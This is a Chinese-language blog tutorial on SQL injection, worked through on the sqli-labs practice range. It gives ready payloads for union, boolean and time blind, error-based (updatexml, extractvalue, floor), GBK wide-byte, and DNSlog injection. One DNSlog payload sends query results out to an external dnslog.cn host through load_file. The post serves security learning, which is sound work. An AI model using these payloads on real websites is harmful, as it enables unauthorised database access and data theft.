浅谈SQL注入

233 阅读10分钟

持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第十天,点击查看活动详情

SQL注入是最常见的网站安全漏洞之一,也是大部分安全人员接触的第一个漏洞类型,这个漏洞危害极大,不仅造成敏感信息泄露,更会导致服务器权限被控制。本文将简单的从原理、类型、注入方法谈谈我对SQL注入的理解。

SQL注入原理

和很多其他的漏洞一样,SQL注入漏洞产生的原因也是对用户输入的参数没有进行过滤或者过滤不严格导致语句与数据库进行交互,从而欺骗服务器执行恶意的SQL语句,简单的来说就是太相信用户。 首先需要了解一下我们会接触到的数据库类型

数据库类型

Access数据库

全名Microsoft Office Access,是由微软发布的关联式数据库管理系统,属于小型数据库,当数据库达到100M左右时,性能开始下降。 Access数据库的后缀名为.mdb,一般是asp的网页文件access数据库。

SQL Server数据库

由Microsoft开发和推广的关系数据库管理系统(DBMS),是一个较为大型的数据库。 该数据库的端口号是1433,后缀名为.mdf。

MySQL数据库

是关系型数据库管理系统,由瑞典MySQL AB公司开发,目前属Oracle 旗下产品。MySQL是最流行的关系型数据库管理系统,在WEB应用方面,MySQL是最好的应用软件之一。

MySQL数据库大部分是php的页面,默认端口3306。

Oracle数据库

又名Oracle RDBMS,或简称Oracle,是甲骨文公司的一款关系数据库管理系统,常用于大型网站。 Oracle数据库默认端口是1521。

PostgreSQL数据库

是一个功能非常强大的、源代码开放的客户/服务器关系型数据库管理系统(RDBMS)。采用类似MIT的许可协议,允许开发人员做任何事情,包括在开源或闭源产品中商用,其源代码是免费提供的。 pgsql默认端口为5432

常见架构判断数据库

asp+access asp+mssql asp.net+mssql php+mysql jsp+oracle jsp+mysql

是否存在SQL注入

一般会在传参的时候添加单引号或者双引号,看页面是否报错,有时手动就能测试出来,有时候会利用burp进行fuzz,字典的话可以去GitHub上面进行查找。 这里列出常用的方法


?id=1"

?id[]=1

?id=1`

?id=1\

?id=1' or '1'='1

?id=1 or 1=1

?id='or''='

SQL注入类型

SQL注入的类型很多,但归根到底它是在字符型和数字型的基础上进行的扩展,所以在这里我着重讲的是数字型和字符型的判断方法,盲注、宽字节注入等我们会在后面写到。

数字型

?id=1 and 1=1         //正确
?id=1 and 1=2        //错误

字符型

?id=1' and '1'='1       //正确
?id=1' and '1'='2       //错误

有时我们需要使用注释符对后面的SQL语句进行注释,因为后台代码一般为:

select * from xxx where id = $id limit 0,1;

limit函数使得只显示一条正确数据,我们要想显示多条数据的话就要将后面的语句进行注释,常用的注释符有:

>--+ 
>-- (空格) 
>/**/
>/*! */
># 
>%23 
> %0a(回车换行)

下面内容均为基于MySQL数据库进行的注入 首先需要了解一下mysql的简单操作(增删查改)

增删查改

增:insert into 表名 (字段1,字段2,字段3) values (数据1,数据2,数据3); 删:delete from 表 (where 条件); 查:select 列名 from 表名 (where 条件)(order by 排序)(limit 限制为数,查询条数); 改:updata 表名 set 字段1=值1,字段2=值2 where 条件;

查询语句里面的函数

information_schema

这个库里面存放着mysql所有重要东西

SCHEMATA

提供了当前mysql数据库中所有数据库的信息,其中SCHEMA_NAME字段保存了所有的数据库名.show databases的结果取自此表.

TABLES

提供了关于数据库中的表的信息,详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息,其中table_name字段保存了所有列名信息,show tables from schemaname的结果取自此表.

COLUMNS

提供了表中的列信息.详细表述了某张表的所有列以及每个列的信息,其中column_name保存了所有的字段信息.show columns from schemaname.tablename的结果取自此表

union注入

提到SQL注入不得不提的就是union联合查询,所谓联合查询注入,即使用union合并两个或多个SELECT语句的结果集,所以两个及以上的select必须有相同列,且各列的数据类型也要相同。联合查询注入可在链接最后添加order by 基于随意数字的注入,根据页面的返回结果来判断站点中的字段数目。

以sqlilabs第一关为例,具体解释union注入 1、是否存在注入 一般会先使用单引号进行测试,这里将后台代码显示出来更加的直观。可以看到页面报错了,这是因为后台语句为

select * from users where id='$id' limit 0,1;

id后输入的值由单引号进行包裹,那么因为我们多输的单引号就会出现报错 image.png 使用%23进行闭合,这里使用--+和' and '1'='1都是一个效果 image.png

2、判断字段数 使用order by判断字段数 使用order by的原理就是在mysql中第x个字段就等于order by x,如果超出这个范围mysql就会报错 image.png

3、查看系统信息 由上可知表中有三个字段,那么就可以使用union select 1,2,3查看一些系统信息 这里放上一些关于系统的常见函数:

路径 @@datadir

操作系统 @@version_compile_os

用户名 user()

数据库版本 @@version,version()

这里就需要将id的值换为-1,让他为假,因为在后台语句中存在mysqli_fetch_array()函数,该函数的作用是从结果集中取得一行作为数字数组或关联数组,而且这个函数只调用了一次,所以无论怎么样它只会显示一行,因此我们让第一行查询的结果为假,就可以显示后面的数据

后台语句


$result=mysqli_query($con, $sql);

$row = mysqli_fetch_array($result, MYSQLI_BOTH);

image.png

4、查询表名 首先需要先了解一下group_concat() group_concat():返回字符串结果,结果为分组中所有的值连接而成

select concat(id,'-',name) from stu;

image.png

?id=-1%27%20union%20select%201,2,group_concat(table_name)from%20information_schema.tables%20where%20table_schema=database()%23

image.png 整个语句的意思就是从默认的information_ schema这个库中判断数据库等于当前这个库,就能够取出对方当前库的表, 接下来的步骤大同小异,就不再赘述了,上述是在没有存在任何过滤的情况下,过滤的情况可以参考本人的这篇文章panaceasec.cn/archives/my… 简单描述下了bypass的思路

布尔盲注

布尔盲注返回true和false,适用于union注入无法使用和没有显示位的情况 首先我们需要了解几个相关函数

count():count(column_name)返回column_name字段的个数

length():length(database())返回数据库的长度

substr():substr(str,start,length):从str的start位置开始截取length个值,返回结果为0和1

left():left(str,length):返回str的前length个值

ascii():顾名思义,返回某字母的ascii码

同样以sqlilabs靶场为例,判断注入类型等略过,该关卡正常情况下返回界面带有“You are in .....”

1、首先判断数据库长度 数据库长度是否大于5:?id=1' length(database())>10%23 image.png

数据库长度是否小于10:?id=1' length(database())<10%23 image.png

之后继续使用二分法进行判断,配合burp使用根据response的长度判断数据库长度效率更快,burp的使用就不赘述了 到这里我们就可以知道数据库长度为8 image.png

2、判断数据库名 数据库第一位的ASCII值大于110:?id=1' and ascii(substr(database(),1,1)) >110%23 回显正常 image.png

数据库第一位的ASCII值大于110:?id=1' and ascii(substr(database(),1,1)) >120%23 回显不正常,由此可以判断值在110和120之间 image.png

时间盲注

当uniuon注入无法使用,布尔型注入没有结果(页面显示正常)时,很难判断注入的代码是否被执行,此时就需要用到时间盲注。时间盲注,就是根据web页面响应的时间差来判断该页面是否存在SQL注入点。

if():if(xxx,1,0)判断xxx是否为真,如果为真就执行1,错误的话执行0

以sqlilabs第九关为例

?id=1 and 1=2

?id=1' and '1'='2

均不报错,使用?id=1' and sleep(5)%23界面延迟了五秒,说明sleep带入了数据库,因此存在时间盲注

查询数据库长度

如果数据库长度大于7则界面延迟5秒

?id=1' and if(length(database())>7,sleep(5),0)%23
![image.png](http://panaceasec.cn/upload/2021/04/image-a0f24d56b90c48db9118f92d1b37dd6c.png)

可以看到界面确实延迟了五秒,之后步骤与布尔盲注相似

报错注入

报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这种方法在联合查询受限且能返回错误信息的情况下较为常用,同时,报错注入也称之为公式化注入方式。

函数1:updatexml()

Payload如下所示:

?id=-1' and 1=(updatexml(1,concat(0x7e,(select database())),1))%23

image.png 其中0x7e是ascii编码,解码为:~

updatexml() 是更新xml文档的函数。

updatexml()语法:update(目标xml文档,xml路径,更新内容)

第二个参数是xml路径,要求符合xpath语法的字符串,xml文档中查找字符串位置是用/xx/xx...这种格式,写入其他格式就会报错。

image.png

后续updatexml报错注入操作步骤:

(1)更改database()位置的sql语句。

(2)获取当前库的表。

?id=-1' and 1=(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1))%23 获取当前库的所有表

(3)获取某表字段

?id=-1' and 1=(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users")),1))%23,获取user表的字段。

函数2:extractvalue()

Payload如下所示:

?id=-1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))%23

image.png

extractvalue(目标xml文档,xml路径)

extractvalue()函数跟updatexml类似,负责在xml文档中安装xpath语法查询节点内容的函数,所以这两个函数也称xpath注入函数

image.png

后续extractvalue报错注入操作步骤与updatexml()相同:

?id=-1' and 1=extractvalue(1,concat(0x7e,(select%20 table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e))%23获取当前库的表,使用limit一条一条进行查询,如果有能一次性出表的方法,希望能告诉作者
?id=-1' and 1=extractvalue(1,concat(0x7e,(select%20 column_name from information_schema.columns where table_name='users' limit 0,1),0x7e))%23获取字段值

函数3:floor()

Payload如下所示:

?id=1' and (select 1 from (select count(*),concat(database(),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

image.png

主要利用的原理是主键重复,因为floor(rand(0)*2)的重复性,导致group by语句出错。

group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。 image.png 更改database()位置的sql语句,操作步骤同上两个函数相同。

除此之外,其它报错注入函数还有geometrycollection()、multipoint()

polygon()、multipolygon()、linestring()、multilinestring(),exp()。

宽字节注入

宽字节注入原理 首先是编码,之所以产生宽字节注入,就是因为有不同的编码方式,因为php后端会对我们的输入进行转义,转义的方式通常是加上’\’,比如

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串(预定义字符是:单引号(’),双引号("),反斜杠(\),NULL)

产生条件:

提交: id=1’ and 1=1%23 这时数据库语句为:

select * from xx where id='1\' and 1=1%23'

这时是注入失败的,当更换payload:

id=1%df ' and 1=1%23

这时数据库语句为:

select * from xx where id ='1運' and 1=1%23'

单引号’被转义为%5c,所以就构成了%df%5c,而在GBK编码方式下,%df%5c是一个繁体字“連”,所以单引号成功逃逸

获取数据库名

?id=-1 %df%27 union select 1,database(),3%23

image.png

?id=-1 %df%27 union select 1,2,group_concat(table_name)from information_schema.tables where tables_schema=database()%23

image.png

DNSlog盲注

对于SQL盲注,通过布尔或者时间盲注获取内容,但是整个过程效率低,需要发送很多的请求进行判断,容易触发安全设备的防护,Dnslog盲注可以减少发送的请求,直接回显数据实现注入,原理就是使用DNS协议将数据外带出来,首先了解一下什么是DNS协议。

DNS

DNS是域名解析系统,比如我们在浏览器上输入www.baidu.com,通过dns协议就可以将其解析为ip地址,并返回给浏览器,这时浏览器才可以访问这台服务器上的相关服务。

环境

基于sqlilabs less-9进行盲注,phpstudy开启lamp环境

前提

首先我们需要设置一下MySQL数据库load_file函数的状态,一般有三种状态

当secure_file_priv为空,就可以读取磁盘的目录。 当secure_file_priv为G:\,就可以读取G盘的文件。 当secure_file_priv为null,load_file就不能加载文件

image.png 如果不是为空是话,需要设置my.ini里的内容,secure_file_priv=""。 dnslog平台可以自己搭建也可以使用网上现成的,如<ceye.io/ > www.dnslog.cn/ image.png

dnslog盲注命令

?id=-1' and load_file(concat('\\',(select database()),'.99gl8q.dnslog.cn\abc'))--+

and ——连接符
load_file()——读取文件内容
concat——拼接字段,将查询结果拼接为完整域名
\\\\——转义后代表\\

image.png